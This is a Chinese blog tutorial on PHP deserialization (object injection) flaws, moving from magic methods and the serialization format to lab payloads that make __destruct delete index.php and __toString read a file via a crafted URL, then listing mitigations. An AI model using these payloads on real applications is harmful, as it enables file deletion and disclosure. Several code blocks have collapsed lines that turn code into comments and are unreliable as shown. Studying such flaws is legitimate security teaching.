php反序列化漏洞

article/2025/4/8 14:41:48

php反序列化漏洞

关于php面向对象编程:
对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
类:一个共享相同结构和行为的对象的集合。
每个类的定义都以关键字class开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,比如_construct,_destruct,_toString,_sleep,_wakeup等。这些函数在某些情况下会自动调用,比如:_construct当一个对象创建时调用(constructor);_destruct当一个对象被销毁时调用(destructor);_toString当一个对象被当作一个字符串时使用。

了解php对象概念以及php对象的一些简单特性

我们先创建一个简单的php对象:

<?php
class TestClass
{
//一个变量
public $variable = 'This is a string';
//一个简单的方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>
//test.php

运行结果如下:

在这里插入图片描述接下来开始尝试使用magic函数,在类中添加一个magic函数:

<?phpclass TestClass
{//一个变量public $variable = 'This is a string';//一个简单的方法public function PrintVariable(){echo $this->variable.'<br />';}//Constructorpublic function  __construct(){echo '__construct<br />';}//Destructorpublic function __destruct(){echo '__destruct<br />';}//callpublic function __toString(){return '__toString<br />';}
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>
//test1.php

再来看一下这次:

在这里插入图片描述从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。

了解什么是php序列化以及序列化的一些格式

在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。我们通过例子来看php对象序列化之后的格式,代码如下:

<?php//一个类
class User
{//类的数据public $age = 0;public $name = '';//输出数据public function printdata(){echo 'User '.$this->name.' is '.$this->age.' years old.<br />';}
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'vergilben';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
//test2.php

结果如下:

在这里插入图片描述下面的O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:9:“vergilben”;}就是对象user序列化后的形式,“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value,后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:

<?php//一个类
class User
{//类的数据public $age = 0;public $name = '';//输出数据public function printdata(){echo 'User '.$this->name.' is '.$this->age.' years old.<br />';}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');
//输出数据
$usr->printdata();
?>
//test3.php

运行:

在这里插入图片描述可以看到,上次序列化的结果被转变成正常的语句了。

明白php对象注入的成因

我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。
__sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。下面解释一下:

<?phpclass test
{public $variable = 'BUZZ';public $variable2 = 'OTHER';public function printvariable(){echo $this->variable.'<br />';}public function __construct(){echo '__construct'.'<br />';}public function __destruct(){echo '__destruct'.'<br />';}public function __wakeup(){echo '__wakeup'.'<br />';}public function __sleep(){echo '__sleep'.'<br />';return array('variable','variable2');}
}//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,会调用__destruct
?>
//test4.php

运行:

在这里插入图片描述可以看到serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:

<?phpclass logfile
{//log文件名public $filename = 'error.log';//一些用于储存日志的代码public function logdata($text){echo 'log data:'.$text.'<br />';file_put_contents($this->filename,$text,FILE_APPEND);}//destrcuctor 删除日志文件public function __destruct(){echo '__destruct deletes '.$this->filename.'file.<br />';unlink(dirname(__FILE__).'/'.$this->filename);}
}
?>
//test5.php

调用这个类:

<?phpinclude 'test5.php'
class User
{//类数据public $age = 0;public $name = '';//输出数据public function printdata(){echo 'User '.$this->name.' is'.$this->age.' years old.<br />';}
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>
//一个示例代码

从代码中可以看到: u s r = u n s e r i a l i z e ( usr = unserialize( usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的,那么我们就可以构造输入删除任意文件
构造输入删除目录下的index.php文件:

<?php
include 'test5.php';
$object = new logfile();
$object->filename = 'index.php';echo serialize($object).'<br />';?>
//test7.php

接下来先进入index.php:

在这里插入图片描述接下来尝试使用test7.php删除了index.php,进入test7.php:
在这里插入图片描述现在在目录里已经没有了index.php:

在这里插入图片描述
我们再次访问一下test7.php试一试:

在这里插入图片描述index.php已经没有了。
这是一个简单的示例。

常见的注入点

上一部分展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都取决于程序逻辑。比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。
现在开始这个小实验,代码如下:

<?phpinclude 'test9.php';
$fileobj = new fileclass();
$fileobj->filename = 'hello.txt';echo serialize($fileobj);
?>
//test8.php

我们先访问test8.php,结果如下:

在这里插入图片描述

<?phpclass fileclass
{//文件名public $filename = 'error.log';//当对象被作为一个字符串会读取这个文件public function __toString(){return file_get_contents($this->filename);}
}class user
{//class datapublic $age = 0;public $name = '';//允许对象作为一个字符串输出上面的datapublic function __toString(){return 'user '.$this->name.' is '.$this->age.' years old.<br />';}
}//用户可控
$obj = unserialize($_GET['usr_serialized']);
//输出__toString
echo $obj
?>
//test9.php

接下来我们出发反序列化漏洞,获取hello.txt的内容:
构造url:http://localhost/test9.php?usr_serialized=O:9:%22fileclass%22:1:{s:8:%22filename%22;s:9:%22hello.txt%22;}
访问:
在这里插入图片描述我们看一下hello.txt的内容:

在这里插入图片描述注意:这仅仅是个小实验,在真实环境下没有这么容易,要仔细分析提供的代码找出漏洞。

知识补充

unserialize漏洞依赖几个条件:

  1. unserialize函数的参数可控
  2. 脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
  3. 所写的内容需要有对象中的成员变量的值

防范的方法有:
4. 严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
5. 对于unserialize后的变量内容进行检查,以确定内容没有被污染

如需转载,请注明原文出处,作者:vergilben


http://chatgpt.dhexx.cn/article/fdIVwo5d.shtml

相关文章

PHP反序列化漏洞总结

文章目录 一、 基础知识1、什么是反序列化漏洞:序列化与反序列化&#xff1a;1、序列化&#xff1a;2、反序列化&#xff1a; 二、PHP魔法函数1、常见方法:2、安全问题&#xff1a; 三、CTF中的反序列化例题一&#xff1a;例题二&#xff1a; 四、靶场练习1、反序列化触发XSS&a…

通过简单案例接触PHP反序列化

渗透学习 不安全的反序列化之反序列化基础 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、序列化和反序列化二、PHP反序列化漏洞1.serialize()2.unserialize()3.反序…

php反序列化--字符串逃逸

php反序列化–字符串逃逸 PHP反序列化的字符串逃逸&#xff0c;一共分有两种情况&#xff0c;情况一&#xff1a;过滤后字符串变多&#xff0c;情况二&#xff1a;过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow-web262为例讲解&#xf…

php反序列化漏洞(一)

PHP反序列化漏洞就是PHP对象注入 序列化&#xff1a;serialize 反序列化&#xff1a;unserialize 序列化其实就是将数据转换成可逆的数据结构&#xff0c;这种数据结构可认为是字符串。可逆的过程则为反序列化。 那么序列化有什么作用&#xff1f; 方便储存和传输。在PHP中…

php反序列化字符逃逸

前言 在了解php反序列化漏洞后&#xff0c;我又进一步学习了字符逃逸的相关内容。这一部分相对来说是比较难理解的。我也是在网上看了很多篇文章&#xff0c;再次自己总结一下究竟什么是字符逃逸&#xff0c;也方便日后复习。 字符逃逸的原理 什么是字符逃逸&#xff0c;从字…

php反序列化[基础]

基础 概述 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组&#xff0c;字符串&#xff0c;对象等 函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组&#xff0c;并返回一个字符串 据访问修饰…

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …

(37)【PHP反序列化】PHP反序列化原理、函数、利用过程

目录 一、简介&#xff1a; 二、原理&#xff1a; 2.1、函数&#xff1a; 2.1.1、serialize()序列化 2.1.2、unserialize()反序列化 三、常见的序列化格式&#xff1a; 四、产生的原因&#xff1a; 4.1、无类&#xff1a; 4.2、有类&#xff1a; 五、魔术方法&#x…

php反序列化总结

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串&#xff0c;方便保持稳定的格式在文件中传输&#xff0c;以便还原为原来的内容。 serialize ( mixed $value ) : stringserialize() 返回字符串&…

PHP反序列化入门手把手详解

PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初…

[CTF]PHP反序列化总结

文章目录 PHP反序列化这一篇就够了简介常见的序列化格式案例引入反序列化中常见的魔术方法反序列化绕过小Trickphp7.1反序列化对类属性不敏感绕过__wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤PHP反序列化字符逃逸情况1&#xff1a;过滤后字符变多情况2&am…

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…

测试 - 用例篇

文章目录 测试用例的基本要素基于需求设计的测试用例接下来就是针对一个功能的不同输入,对应着不同的输出功能之间的交互性异常信息的处理 等价类边界值错误猜测法 美团面试题:水杯测试用例场景法因果图法 复习 因为这篇博客是关于如何写测试用例,尽可能多的涵盖测试用例,所以我…

软件测试当中的测试用例模板,仅供参考

测试用例这块知识、经验&#xff0c;小酋在前面陆续都讲完了。这章提供几种用例模板&#xff0c;作为这块知识的收尾。 - 1 - 测试用例&#xff08;主指功能测试用例模板&#xff09;的内容通常包括测试目标&#xff08;目的&#xff09;&#xff0c;需求标示&#xff08;一般…

测试用例分析及编写

文章目录 1.测试用例1.1 用例与测试用例1.2 测试用例的作用1.3 测试用例的编写格式 2. 测试点的设计方法2.1 等价类划分法2.1.1 定义2.1.2 分类2.1.3 划分规则2.1.4 步骤2.1.5 适用场景2.1.6 案例2.1.6.1 验证QQ帐号的合法性2.1.6.2 验证某城市号码的正确性 2.2 边界值划分法2.…

测试用例,怎么写 ?

本文的测试用例主要针对功能测试。 软件测试中最重要的因素是设计和生成有效的测试用例。 穷举的测试是不可能的&#xff0c;合理的测试策略是通过使用特定的面向黑盒测试的测试用例设计方法&#xff0c;而后使用白盒测试方法对程序的逻辑结构进行检查以补充这些测试用例&…

测试:用例篇

上一章讲述的是测试的基本概念。在我们开始做了一段时间基础测试&#xff0c;熟悉了业务之后&#xff0c;往往会 分配来写测试用例&#xff0c;并且在日常测试中&#xff0c;有时也需要补充测试用例到现有的案例库中 在开始之前先讲讲测试中经典的测试方法&#xff1a;黑盒测试…